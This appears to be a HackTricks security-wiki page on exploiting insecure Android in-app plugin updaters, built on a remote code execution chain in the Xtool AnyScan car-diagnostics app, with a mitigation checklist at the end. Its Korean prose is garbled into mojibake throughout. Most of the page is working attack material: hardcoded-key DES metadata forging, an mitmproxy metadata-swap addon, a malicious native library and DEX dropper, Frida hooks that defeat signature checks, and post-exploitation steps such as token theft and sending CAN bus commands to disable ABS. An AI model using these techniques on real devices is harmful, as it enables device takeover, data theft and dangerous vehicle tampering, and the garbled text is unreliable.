Insecure In-App Update Mechanisms โ Remote Code Execution via Malicious Plugins
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๋ง์ Android ์ ํ๋ฆฌ์ผ์ด์ ์ Google Play Store๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ์์ฒด์ ์ธ โpluginโ ๋๋ โdynamic featureโ ์ ๋ฐ์ดํธ ์ฑ๋์ ๊ตฌํํฉ๋๋ค. ๊ตฌํ์ด ์์ ํ์ง ์์ผ๋ฉด ์ ๋ฐ์ดํธ ํธ๋ํฝ์ ๊ฐ๋ก์ฑ๊ฑฐ๋ ๋ณ์กฐํ ์ ์๋ ๊ณต๊ฒฉ์๊ฐ ์ฑ ํ๋ก์ธ์ค ๋ด์์ ๋ก๋๋ ์์์ ๋ค์ดํฐ๋ธ ๋๋ Dalvik/ART ์ฝ๋๋ฅผ ๊ณต๊ธํ ์ ์์ผ๋ฉฐ, ์ด๋ ํธ๋์ ์์์ ์์ ํ Remote Code Execution (RCE)๋ก ์ด์ด์ง๊ณ โ ๊ฒฝ์ฐ์ ๋ฐ๋ผ ์ฑ์ด ์ ์ดํ๋ ์ธ๋ถ ์ฅ์น(์๋์ฐจ, IoT, ์๋ฃ๊ธฐ๊ธฐ โฆ)์์๋ ์ํฅ์ ๋ฏธ์น ์ ์์ต๋๋ค.
์ด ํ์ด์ง๋ Xtool AnyScan automotive-diagnostics ์ฑ (v4.40.11 โ 4.40.40)์์ ๋ฐ๊ฒฌ๋ ์ค์ ์ทจ์ฝ์ ์ฒด์ธ์ ์์ฝํ๊ณ , ๋ค๋ฅธ Android ์ฑ์ ๊ฐ์ฌํ๊ณ red-team ์ฐธ์ฌ ์ ์๋ชป๋ ๊ตฌ์ฑ(mis-configuration)์ ๋ฌด๊ธฐํํ ์ ์๋๋ก ๊ธฐ๋ฒ์ ์ผ๋ฐํํฉ๋๋ค.
0. Quick triage: does the app have an inโapp updater?
Static hints to look for in JADX/apktool:
- Strings: โupdateโ, โpluginโ, โpatchโ, โupgradeโ, โhotfixโ, โbundleโ, โfeatureโ, โassetโ, โzipโ.
- Network endpoints like
/update,/plugins,/getUpdateList,/GetUpdateListEx. - Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
- Dynamic loaders:
System.load,System.loadLibrary,dlopen,DexClassLoader,PathClassLoader. - Unzip paths writing under app-internal or external storage, then immediately loading a
.so/DEX.
Runtime hooks to confirm:
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
1. ์์ ํ์ง ์์ TLS TrustManager ์๋ณ
- jadx / apktool๋ก APK๋ฅผ ๋์ปดํ์ผํ๊ณ ๋คํธ์ํน ์คํ(OkHttp, HttpUrlConnection, Retrofitโฆ)์ ์ฐพ๋๋ค.
- ๋ชจ๋ ์ธ์ฆ์๋ฅผ ๋ฌดํฑ๋๊ณ ์ ๋ขฐํ๋ ์ปค์คํ
TrustManager๋๋HostnameVerifier๋ฅผ ์ฐพ๋๋ค:
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
- ์กด์ฌํ ๊ฒฝ์ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ๋ชจ๋ TLS certificate๋ฅผ ์๋ฝํฉ๋๋ค โ ํฌ๋ช MITM proxy๋ฅผ self-signed cert๋ก ์คํํ ์ ์์ต๋๋ค:
mitmproxy -p 8080 -s addon.py # see ยง4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
If TLS pinning์ด ์ ์ฉ๋์ด unsafe trust-all logic ๋์ ์๋ํ๋ ๊ฒฝ์ฐ, ๋ค์์ ์ฐธ์กฐํ์ธ์:
Android Anti Instrumentation And Ssl Pinning Bypass
Make APK Accept CA Certificate
2. Reverse-Engineering the Update Metadata
AnyScan์ ๊ฒฝ์ฐ, ์ฑ ์คํ ์๋ง๋ค ๋ค์์ผ๋ก HTTPS GET ์์ฒญ์ ๋ณด๋ ๋๋ค:
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
์๋ต ๋ณธ๋ฌธ์ XML ๋ฌธ์์ด๋ฉฐ, <FileData> ๋
ธ๋๋ค์ ์ฌ์ฉ ๊ฐ๋ฅํ ๊ฐ ํ๋ฌ๊ทธ์ธ์ ์ค๋ช
ํ๋ Base64๋ก ์ธ์ฝ๋ฉ๋, DES-ECB๋ก ์ํธํ๋ JSON์ ํฌํจํ๋ค.
Typical hunting steps:
- ์ํธํ ๋ฃจํด(์:
RemoteServiceProxy)์ ์ฐพ๊ณ ๋ค์์ ํ์ธํ๋ค:
- ์๊ณ ๋ฆฌ์ฆ (DES / AES / RC4 โฆ)
- ์๋ ๋ชจ๋ (ECB / CBC / GCM โฆ)
- ํ๋์ฝ๋๋ ํค / IV (commonly 56โbit DES or 128โbit AES constants)
- ๋ฉํ๋ฐ์ดํฐ๋ฅผ ๋ณตํธํ/์ํธํํ๊ธฐ ์ํด ํด๋น ํจ์๋ฅผ Python์ผ๋ก ์ฌ๊ตฌํํ๋ค:
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
ํ์ฅ์์ ๊ด์ฐฐ๋ ์ฌํญ (2023โ2025):
- ๋ฉํ๋ฐ์ดํฐ๋ ์ข ์ข JSON-within-XML ๋๋ protobuf ํํ์ด๋ฉฐ, ์ฝํ ์ํธํ์ ์ ์ ํค๊ฐ ํํฉ๋๋ค.
- ๋ง์ ์ ๋ฐ์ดํธ ํ๋ก๊ทธ๋จ์ด ๋ฉํ๋ฐ์ดํฐ๋ HTTPS๋ก ์ ๋ฌ๋๋๋ผ๋ ์ค์ payload ๋ค์ด๋ก๋์๋ ํ๋ฌธ HTTP๋ฅผ ํ์ฉํฉ๋๋ค.
- ํ๋ฌ๊ทธ์ธ๋ค์ ์์ฃผ ์ฑ ๋ด๋ถ ์ ์ฅ์๋ก ์์ถ์ ํ๋ฉฐ; ์ผ๋ถ๋ ์ฌ์ ํ ์ธ๋ถ ์ ์ฅ์๋ ๋ ๊ฑฐ์
requestLegacyExternalStorage๋ฅผ ์ฌ์ฉํด ์ฑ ๊ฐ ๋ณ์กฐ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค.
3. ์ ์ฑ ํ๋ฌ๊ทธ์ธ ์ ์
3.1 ๋ค์ดํฐ๋ธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๊ฒฝ๋ก (dlopen/System.load[Library])
- ์ ์ plugin ZIP ํ๋๋ฅผ ๊ณจ๋ผ ๋ค์ดํฐ๋ธ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๋น์ ์ payload๋ก ๊ต์ฒดํฉ๋๋ค:
// libscan_x64.so โ constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
- JSON ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์์ ํ์ฌ
"FileName" : "PWNED.zip"๋ฐ"DownloadURL"์ด ๋น์ ์ HTTP ์๋ฒ๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ํฉ๋๋ค. - ์์ ํ JSON์ ์ฌ์ํธํํ๊ณ Base64 ์ธ์ฝ๋ฉํ ๋ค, ๊ฐ๋ก์ฑ XML ๋ด๋ถ์ ๋ค์ ๋ณต์ฌํฉ๋๋ค.
3.2 Dex-based plugin path (DexClassLoader)
์ผ๋ถ ์ฑ์ JAR/APK๋ฅผ ๋ค์ด๋ก๋ํ๊ณ DexClassLoader๋ฅผ ํตํด ์ฝ๋๋ฅผ ๋ก๋ํฉ๋๋ค. ๋ก๋ ์ ํธ๋ฆฌ๊ฑฐ๋๋ ์
์ฑ DEX๋ฅผ ์์ฑํ์ธ์:
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
๋์์ด Class.forName("pwn.Dropper")๋ฅผ ํธ์ถํ๋ฉด ์ ์ ์ด๊ธฐํ์๊ฐ ์คํ๋ฉ๋๋ค; ๊ทธ๋ ์ง ์์ผ๋ฉด Frida๋ก ๋ก๋๋ ํด๋์ค๋ฅผ ๋ฆฌํ๋ ํฐ๋ธํ๊ฒ ์ด๊ฑฐํ๊ณ ์ต์คํฌํธ๋ ๋ฉ์๋๋ฅผ ํธ์ถํฉ๋๋ค.
4. mitmproxy๋ก ํ์ด๋ก๋ ์ ๋ฌ
addon.py ์์ : ์๋ณธ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์กฐ์ฉํ ๊ต์ฒดํฉ๋๋ค:
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
์ ์ฑ ZIP/JAR๋ฅผ ํธ์คํ ํ๊ธฐ ์ํด ๊ฐ๋จํ ์น ์๋ฒ๋ฅผ ์คํํฉ๋๋ค:
python3 -m http.server 8000 --directory ./payloads
When the victim launches the app it will:
- MITM ์ฑ๋์ ํตํด ์ฐ๋ฆฌ๊ฐ ์์กฐํ XML์ fetchํฉ๋๋ค;
- ํ๋์ฝ๋ฉ๋ crypto๋ก ์ด๋ฅผ decrypt & parseํฉ๋๋ค;
PWNED.zip๋๋plugin.jar์ download โ private storage ๋ด๋ถ์ unzipํฉ๋๋ค;- ํฌํจ๋
.so๋๋ DEX๋ฅผ loadํ์ฌ ์ฆ์ ์ฑ ๊ถํ(์นด๋ฉ๋ผ, GPS, Bluetooth, filesystem, โฆ)์ผ๋ก ์ฐ๋ฆฌ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค.
Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.
4.1 Bypassing signature/hash checks (when present)
If the updater validates signatures or hashes, hook verification to always accept attacker content:
// Frida โ make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
๋ํ PluginVerifier.verifySignature(), checkHash() ๊ฐ์ ๋ฒค๋ ๋ฉ์๋๋ฅผ ์คํ
ํ๊ฑฐ๋ Java ๋๋ JNI์์ ์
๋ฐ์ดํธ ๊ฒ์ดํ
๋ก์ง์ ์ผํธโ์ํทํ๋ ๊ฒ์ ๊ณ ๋ คํ์ธ์.
5. Other attack surfaces in updaters (2023โ2025)
- Zip Slip path traversal while extracting plugins: malicious entries like
../../../../data/data/<pkg>/files/targetoverwrite arbitrary files. Always sanitize entry paths and use allowโlists. - External storage staging: if the app writes the archive to external storage before loading, any other app can tamper with it. Scoped Storage or internal app storage avoids this.
- Cleartext downloads: metadata over HTTPS but payload over HTTP โ straightforward MITM swap.
- Incomplete signature checks: comparing only a single file hash, not the whole archive; not binding signature to developer key; accepting any RSA key present in the archive.
- React Native / Web-based OTA content: if native bridges execute JS from OTA without strict signing, arbitrary code execution in the app context is possible (e.g., insecure CodePush-like flows). Ensure detached update signing and strict verification.
6. Post-Exploitation Ideas
- Steal session cookies, OAuth tokens, or JWTs stored by the app.
- Drop a second-stage APK and silently install it via
pm installif possible (some apps already declareREQUEST_INSTALL_PACKAGES). - Abuse any connected hardware โ in the AnyScan scenario you can send arbitrary OBDโII / CAN bus commands (unlock doors, disable ABS, etc.).
Detection & Mitigation Checklist (blue team)
- Avoid dynamic code loading and outโofโstore updates. Prefer Playโmediated updates. If dynamic plugins are a hard requirement, design them as dataโonly bundles and keep executable code in the base APK.
- Enforce TLS properly: no custom trustโall managers; deploy pinning where feasible and a hardened network security config that disallows cleartext traffic.
- Do not download executable code from outside Google Play. If you must, use detached update signing (e.g., Ed25519/RSA) with a developerโheld key and verify before loading. Bind metadata and payload (length, hash, version) and fail closed.
- Use modern crypto (AESโGCM) with perโmessage nonces for metadata; remove hardโcoded keys from clients.
- Validate integrity of downloaded archives: verify a signature that covers every file, or at minimum verify a manifest of SHAโ256 hashes. Reject extra/unknown files.
- Store downloads in appโinternal storage (or scoped storage on Android 10+) and use file permissions that prevent crossโapp tampering.
- Defend against Zip Slip: normalize and validate zip entry paths before extraction; reject absolute paths or
..segments. - Consider Play โCode Transparencyโ to allow you and users to verify that shipped DEX/native code matches what you built (compliments but does not replace APK signing).
References
- NowSecure โ Remote Code Execution Discovered in Xtool AnyScan App
- Android Developers โ Dynamic Code Loading (risks and mitigations)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


